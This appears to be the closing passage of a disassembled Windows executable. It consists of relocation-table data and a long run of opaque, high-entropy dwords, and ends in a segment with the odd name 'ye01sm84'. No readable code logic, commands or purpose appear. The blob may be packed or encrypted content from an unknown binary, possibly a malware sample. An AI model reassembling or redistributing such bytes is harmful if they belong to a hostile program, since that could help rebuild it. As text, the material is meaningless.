3D7F3D5Ah, 3E9C3E14h, 3FBD3F70h, 25000h dd 48h, 30393010h, 308F308Ah, 30F130CBh, 39A23991h, 3ABE39BEh dd 3B113B0Ch, 3BA73B83h, 3BEA3BC6h, 3C743C1Ah, 3D2C3CC2h dd 3D943D7Ch, 3DDC3DA5h, 3E7A3E74h, 3EF73EE0h, 3F433F05h dd 3F9D3F55h, 26000h, 6Ch, 30913021h, 316C30D2h, 319D3171h dd 321131BEh, 32EC325Dh, 339D335Fh, 33DD33CEh, 34933458h dd 352934D5h, 36BA3624h, 36D736C0h, 36FD36DCh, 3781373Fh dd 38EC388Ah, 39273900h, 39F139B4h, 3A8B3A35h, 3B7F3B3Ah dd 3BFF3BEBh, 3CC13CA7h, 3D403CF9h, 3DC83D55h, 3E6E3DD4h dd 3F243EF5h, 3F4Dh, 27000h, 7Ch, 3059302Ah, 313730B7h dd 3265322Bh, 331F32C2h, 33A6338Dh, 34BF33FDh, 35963513h dd 35FC35BDh, 36543634h, 36963663h, 370F3704h, 3837378Eh dd 38663855h, 38923875h, 392038ECh, 393F3932h, 3A0E39E4h dd 3A833A67h, 3B263AA0h, 3BA23B2Eh, 3BD23BAFh, 3C1A3BDEh dd 3D0C3C9Dh, 3D733D3Dh, 3E473DE5h, 3EDA3E5Bh, 3F243EE1h dd 3FA33F57h, 3FB9h, 28000h, 98h, 305E301Dh, 30A03064h dd 30DD30C3h, 312830F0h, 31AC318Ah, 323531BAh, 32F53261h dd 33823324h, 33F13391h, 3489344Bh, 34C03495h, 35393519h dd 35A33592h, 35B935B4h, 366035DBh, 372B36B5h, 3764374Ch dd 37DC37C4h, 382C37F4h, 3863385Eh, 38C43875h, 39D03945h dd 3A503A02h, 3A6C3A5Eh, 3B703A92h, 3BCD3B91h, 3CA23C5Fh dd 3CEE3CBAh, 3D883D33h, 3DC23DB2h, 3E063DCDh, 3E173E12h dd 3EFA3E77h, 3F583F08h, 3FAD3F65h, 3FC8h, 29000h, 74h dd 30453018h, 30BF30ABh, 313A30EFh, 316E3156h, 33213287h dd 33983364h, 342833D0h, 34BE3473h, 34EA34C9h, 35B034FCh dd 35C535BFh, 362935E8h, 36A6365Ch, 36F736C8h, 3730371Eh dd 383737BFh, 38843858h, 3A0F38CEh, 3A323A14h, 3AA83A82h dd 3B433AADh, 3D1A3B68h, 3D763D33h, 3E033DBCh, 3E9F3E20h dd 3F013EC0h, 3FFBh, 2A000h, 7Ch, 30323019h, 30843066h dd 311D3106h, 31B33132h, 322B31D1h, 3265324Dh, 3280327Bh dd 32D93293h, 333F3321h, 344833D1h, 3469345Fh, 34CE34B3h dd 3558350Bh, 36A5359Fh, 376736F1h, 37E637CAh, 3893381Eh dd 392738FFh, 39DC3973h, 3A223A06h, 3AEA3A38h, 3B4F3B19h dd 3B973B5Eh, 3C573C0Fh, 3DD73C79h, 3EB53DDEh, 3F373EE4h dd 3F9C3F54h, 3FF73FF1h, 2B000h, 0B0h, 306F301Bh, 30BF30BAh dd 315E310Bh, 31C4317Eh, 32B031CFh, 32CE32BBh, 333F32FFh dd 337C3376h, 339F3394h, 341433C1h, 34A43491h, 34BC34B0h dd 35373502h, 35D035A2h, 361835FCh, 36633630h, 36E136C2h dd 37473719h, 377F3761h, 37BA37AEh, 38693818h, 390B3876h dd 39663946h, 39D739ABh, 3A1339E2h, 3A3E3A27h, 3A8D3A88h dd 3ACC3AA0h, 3AFE3AF8h, 3B213B1Ah, 3B453B37h, 3C043B6Ch dd 3D183C82h, 3D5E3D42h, 3DB53D77h, 3DF23DDBh, 3E5B3E3Ah dd 3F3D3EFFh, 3F503F4Bh, 3F703F6Bh, 3F9C3F7Eh, 3FC4h, 2C000h dd 78h, 3154307Ch, 3221320Ch, 32A03261h, 333C32E6h, 337E3358h dd 3455338Ch, 350D34B6h, 35A93569h, 35DE35C2h, 367D3612h dd 36EF36A2h, 37073702h, 37923766h, 37CA37ADh, 38453834h dd 389D3884h, 391938FDh, 39AC3933h, 39E439B6h, 3A963A76h dd 3B3E3B13h, 3C353C18h, 3D123CFAh, 3D873D1Fh, 3E503DE7h dd 3F0A3EA4h, 3FE83F22h, 3FFEh, 2D000h, 70h, 302D3013h dd 310430A3h, 317D3141h, 321F3218h, 32573224h, 32E432B0h dd 338032F5h, 342833A6h, 348D346Ah, 356F34AAh, 36243580h dd 375636B1h, 37BC379Fh, 38793810h, 395A3920h, 3994397Dh dd 3AB539A7h, 3B423B2Eh, 3BB53B72h, 3C3A3BEAh, 3D073C53h dd 3D913D36h, 3DC33D9Dh, 3E3D3E08h, 3EF03E9Bh, 3F5B3F47h dd 2E000h, 5Ch, 30F13091h, 31543126h, 320E31E0h, 32A4322Ch dd 337E32B4h, 33EC33B7h, 34F23476h, 356E355Ah, 35CF3584h dd 373836E8h, 38AB379Fh, 38DA38BCh, 392538F0h, 3A7D3940h dd 3C553BC1h, 3CED3CE8h, 3D193D08h, 3DE53DAFh, 3E933E87h dd 3ED63EC3h, 3F94h, 2F000h, 7Ch, 302D3021h, 305B3034h dd 30F030DFh, 315430F5h, 327A3265h, 344432F0h, 351E345Ah dd 35453537h, 360035ABh, 3675366Fh, 36983692h, 37CF37B3h dd 380837F4h, 3821380Eh, 389E3883h, 38D538ABh, 391338DCh dd 3A3D39A3h, 3A7F3A70h, 3BAC3B8Fh, 3C593BE6h, 3CEB3CD3h dd 3D583D16h, 3D753D5Dh, 3DA13D83h, 3DFE3DF4h, 3EAF3E66h dd 3F0F3EE6h, 3FA93F52h, 30000h, 10h, 3023301Fh, 3033h dd 4 dup(0) dd 0C32C5635h, 0E3A59816h, 604DD45Ah, 0EDE1494Ch, 3C437446h dd 0E01CED39h, 7988D08Fh, 5B6684F8h, 6DE4D4B3h, 8945D1B2h dd 0FFDA157Ch, 5863271Ah, 9C78A8A2h, 92F8A2C7h, 8CC6B9A7h dd 9448BDBDh, 0B1483D81h, 0C10432BFh, 0F4F03F35h, 207EDC94h dd 517FB3BDh, 0B4A78745h, 4C6A4188h, 8FF2CA45h, 990457EFh dd 0FEB22C7Dh, 0CB1AA36Fh, 0D1F5E384h, 3DE9B222h, 80240079h dd 0A3E026h, 0B7CA5C58h, 841327F8h, 187D3EA8h, 0FB9446D3h dd 2648571Bh, 2ABC07D0h, 0F54A065Ah, 2FC76F1Dh, 0E7B3A4A6h dd 0AEC0D830h, 0A1B149D3h, 1B60A2ABh, 13833398h, 0E3975B7h dd 0BA513860h, 6C882DE8h, 0A8DA63A3h, 0BDEB9A0Fh, 0A435FA87h dd 2EBBDEFFh, 9A007C8Fh, 8241D07Fh, 950F75D5h, 3EF46CD8h dd 0FBC95CD8h, 658E031h, 0B33346A8h, 2E707BE7h, 8727D2C3h dd 0F58FEF07h, 0FCDC1ACAh, 40233B5Ch, 62AE381Dh, 4FDC0C85h dd 7092718h, 47E73B4Ch, 48573734h, 0EE94793Dh, 2D266629h dd 49A87F3Fh, 0B077FB25h, 9325119Fh, 120A5B97h, 0DFFEB7AAh dd 6D4E36F9h, 9A4023F6h, 7D883820h, 0D131FF9Eh, 0C68F769Dh dd 0FFFF0FF9h, 54A68F6h, 2F4FE39Bh, 7EE284C6h, 1A677CD3h dd 276839DDh, 77636AD3h, 0EA7BE784h, 853170A8h, 4DAE5DEh dd 0A2379DBBh, 7EAE90F7h, 0B510D160h, 2C42E1A0h, 0C861625Eh dd 99D965B0h, 0EC432169h, 0DAF6011Bh, 7E8A3EA8h, 969585CFh dd 627370CEh, 38512C5h, 0D3E9FBE4h, 553750D7h, 0B09137D7h dd 82AFDED8h, 0EB605DD8h, 42E05AF4h, 0EDCE2A60h, 0FD36F99Dh dd 136C7A1Eh, 20B5084Ch, 2A66840Ch, 0DC723945h, 0A21B596h dd 1462AC18h, 0C486292Ch, 8585C8C3h, 0C686A61Eh, 179D8739h dd 0DD377E19h, 9CF48134h, 98026EA7h, 837357F5h, 1A5E6FBAh dd 48EA2921h, 191C6D1Bh, 0E7EF4D54h, 17B41524h, 0BA18FF2Bh dd 0BDB0569Ah, 0E643A6F6h, 196FEA1Bh, 0B7E2D3A1h, 67E246B4h dd 59C87CEEh, 0EA4B997Ah, 0B57DFB95h, 1F1D3B4Ch, 0B5C64E93h dd 392E679Bh, 3CDF594Bh, 0E593A12Eh, 3374D4A9h, 223C7FB4h dd 0E92D6800h, 0B9EA2209h, 0B68DD988h, 0E04E89E7h, 18900CEBh dd 3B452F5Dh, 0CBA1E81Eh, 0B1A5922Bh, 8B4AA5D8h, 1CB52C36h dd 2DD6FD56h, 1EB83063h, 0AA65ECD9h, 9E6E5C4Bh, 0B6727D12h dd 0DC996666h, 261078E5h, 2CAB9378h, 3BBBC326h, 0D312C78Ch dd 7CF3060Bh, 6941E2BDh, 5B60F9DDh, 758EBE9Ah, 424DC03Eh dd 91912B38h, 0A51D2AF2h, 386DB9F7h, 81BF67D0h, 0E010BADEh dd 7AC1A248h, 0DA6E3D22h, 0CB65C9E0h, 354A5B5Eh, 14CEE549h dd 7388EA5h, 2CF08A7Eh, 0C927D06Dh, 96F95E5h, 889391EBh dd 0E3A74E8Fh, 2F1379B2h, 0F366504Ah, 37B92967h, 0A3CAC9C6h dd 9F8B1B26h, 82F3E992h, 0B6766F30h, 3D034726h, 92614BBBh dd 0D281B4Ch, 0E56A3CB0h, 0FF944AA7h, 0A44C3C4h, 0A9BCEAAFh dd 7260834h, 0C441AED7h, 0C2A7ECBBh, 0A86ADF1Fh, 6B1C2A21h dd 7796D3D3h, 0D3D47F0Fh, 7329DFC5h, 2F2F0AFEh, 0CF6707E3h dd 0F840E66Dh, 148B42C9h, 0F80508E3h, 3B192876h, 8DBB9652h dd 7CE06611h, 30F45955h, 907DE6DDh, 966E51E7h, 0A84B3A3Eh dd 52BBCF2Dh, 607DC2E0h, 0B2F0F339h, 0F2D64B99h, 0FE68242Bh dd 2ED59D8Eh, 13A4CA2Ah, 0C30A358Fh, 87AB2663h, 6BCE15FFh dd 0B4380943h, 7ACA799Ch, 0E5281D02h, 0E6A247E9h, 30C3DA18h dd 0C6763EE1h, 14C6723Fh, 3E763BD1h, 52B88085h, 0E42DC4F2h dd 4ABC09BCh, 78B0D0E4h, 0A042F9A9h, 0A24DD09h, 1EB99226h dd 0DA278C97h, 447AF0F4h, 6F512B32h, 88A99395h, 2E5C1A06h dd 0FDC4D615h, 3AEC93F7h, 28EA6DCAh, 0AA16C68Bh, 27B0885Ah dd 9FC793F0h, 3B23030Eh, 1A96C2A8h, 4995DE63h, 0B982EC2Ch dd 8979147Ah, 48757E5h, 0E94A720h, 846F7B62h, 373BF2A0h dd 4C8F65FFh, 8186019Ch, 2E0C4CDCh, 0A67F2FAEh, 0FE5B8E4Eh dd 0B48ECB2Ch, 5ACA0232h, 98EB5233h, 456B7D8Bh, 52FBC1BAh dd 0D6CA854Fh, 0B78A5C24h, 0FA8261F3h, 0C2846ADBh, 9A887D1Dh dd 52F07598h, 928A311Dh, 0C92E0493h, 84B2A6D1h, 15C32A5Bh dd 0F36EDA13h, 79362237h, 1A76C638h, 0B1DA025h, 0B2AB60F8h dd 0B8409454h, 0D7B38290h, 82DE24DCh, 122BA662h, 5FBEBADh dd 5D079A91h, 0BE5BE9ECh, 4148F8D0h, 8A081590h, 693D127Fh dd 352C2C42h, 120DE4EFh, 0C365D358h, 3DD483DEh, 1B5F95F9h dd 960CE886h, 7820F0A3h, 0FFE07772h, 0EE845201h, 84F98B7Bh dd 0E2448497h, 0FFE8EEA8h, 0D6454970h, 3B6AF8B2h, 5F2D41C0h dd 0D7FD436Dh, 0C7815EE5h, 8A44640Ah, 5C4EDF7Dh, 0ADB61B8h dd 444331Eh, 2F802C87h, 0B37A7557h, 0E6A6D0C6h, 0FEA1549h dd 3B92DC6Eh, 4EEE964Fh, 313E11B6h, 31063722h, 0C932EA00h dd 44DF1361h, 89897B00h, 0E6408684h, 88ED3F67h, 27C1CA7Ch dd 0B1E88DB4h, 5E128C55h, 0E14FBC0Dh, 0B973737Eh, 32D469D6h dd 3BAD1906h, 0B1A1F89Dh, 3A81C256h, 3E3489Ch, 914D5B77h dd 8DF2788Ch, 0A65F23C7h, 0F839148h, 0D622573Bh, 0A9AB166Ah dd 0CB0CF0D5h, 1FC61C2Dh, 485C5608h, 18C1524h, 2C184120h dd 5A8A8FF4h, 0A80C5FDDh, 0C8043C7h, 7A128FA6h, 9EF0E849h dd 0B9725A06h, 90314274h, 407CE51Eh, 0A7C0BEFFh, 0AE2FF9B6h dd 0B7BC6FE9h, 0AEFEAC1Fh, 0AB5C7A2Ah, 456FA28Eh, 0FE415EDEh dd 7CF94FC1h, 0FE71B2D1h, 1A302A74h, 65620495h, 1DBC6A5Ch dd 9BACE501h, 7E964F83h, 0C2582F7Ch, 59BBB109h, 0A8B6218Ch dd 4B17A9E6h, 0D7DAA9C2h, 187EFDACh, 0BCEDD3ABh, 113039D3h dd 77D566A7h, 91E5475Eh, 756E8E69h, 0ED349E75h, 0A7A949EDh dd 267AEBE7h, 44821410h, 36F54047h, 7DA70340h, 0F8CFA74Eh dd 8ABF75A3h, 29ADA039h, 35DEDD98h, 774094C5h, 0D404DBE1h dd 0C583D8D1h, 0E1A1E151h, 6E0270BDh, 3554BE29h, 0CE17F7C6h dd 111D366Fh, 8D24DBBBh, 8DDEABBCh, 0A06AC6BAh, 29F77C9Eh dd 7A435EF5h, 7FF7B8F9h, 0D1A8A5B2h, 40C6CBF5h, 0BB1774F6h dd 8EF91106h, 82D0A4BEh, 0A8F99F7Eh, 3AD945BDh, 53B27DECh dd 4D8A5B0Ch, 5A66EBA5h, 2A49E863h, 3A917112h, 5737FDBDh dd 4B771968h, 0B1F3EA3Dh, 0B5721FB1h, 8CD68386h, 0E3CA9F4Ch dd 4D7EEE62h, 0D591F245h, 0E3F0B982h, 4ED7208Ah, 62677186h dd 0BA16605Ah, 82F6113Bh, 2E20ADC2h, 339111C8h, 6319CEF4h dd 9924417h, 7955F75Dh, 0EECA0D73h, 60D293D8h, 0B00259D2h dd 544D39B7h, 0D08387AFh, 34A11B4Eh, 0AC5EADBCh, 0CA681479h dd 0FAE76442h, 0DA256A9Ah, 9124CAF4h, 0A489F7C6h, 0D1B508EEh dd 9DB85F1Eh, 0E5B57783h, 0F9FD0AB1h, 0C6B9A695h, 9BE6C329h dd 7D6848F6h, 86B31ADh, 6CACE86Ah, 182D9355h, 612676DEh dd 732BAEA3h, 54454619h, 62B151F4h, 6FC83C2Ch, 0A1EFA1D0h dd 16CEBEFAh, 4E4E8988h, 31F9A128h, 5651FDh, 6B49FA4Fh dd 2BD1F9C4h, 175D34DCh, 0B659BBC4h, 176D145Bh, 1546B5C2h dd 3A634Ah, 0F8F0ECBCh, 5F816EB3h, 26E069EAh, 0F6EFE91Dh dd 154ED5C3h, 50568172h, 6F4AB435h, 373E46C2h, 0F845EDB0h dd 0EF3FA9B4h, 5A334780h, 4C656BA4h, 39A40DB7h, 0F2E8169Bh dd 0B2B89321h, 0C59966E1h, 0DCE8FB8Dh, 744E9F96h, 0AF612912h dd 3A13C1D5h, 2AD67F6h, 759D2D5Ch, 0E572877Ch, 0D1BAE689h dd 0C34AA4FEh, 3F9B33FAh, 42F0FA50h, 4FCF92A9h, 3E9A4324h dd 9B7F7415h, 0A5D31572h dd 672C1D01h, 4333D119h, 5BEFA973h, 3257C123h, 0A58C6E7Bh dd 0EABFC983h, 8A13F2Bh, 59FAAE7Fh, 0C571B365h, 0AEEC5F71h dd 0D7063CB2h, 792CD819h, 0A77542F4h, 324CB46Dh, 3F2FF37Bh dd 0C8BA891Bh align 400h ye01sm84 ends end start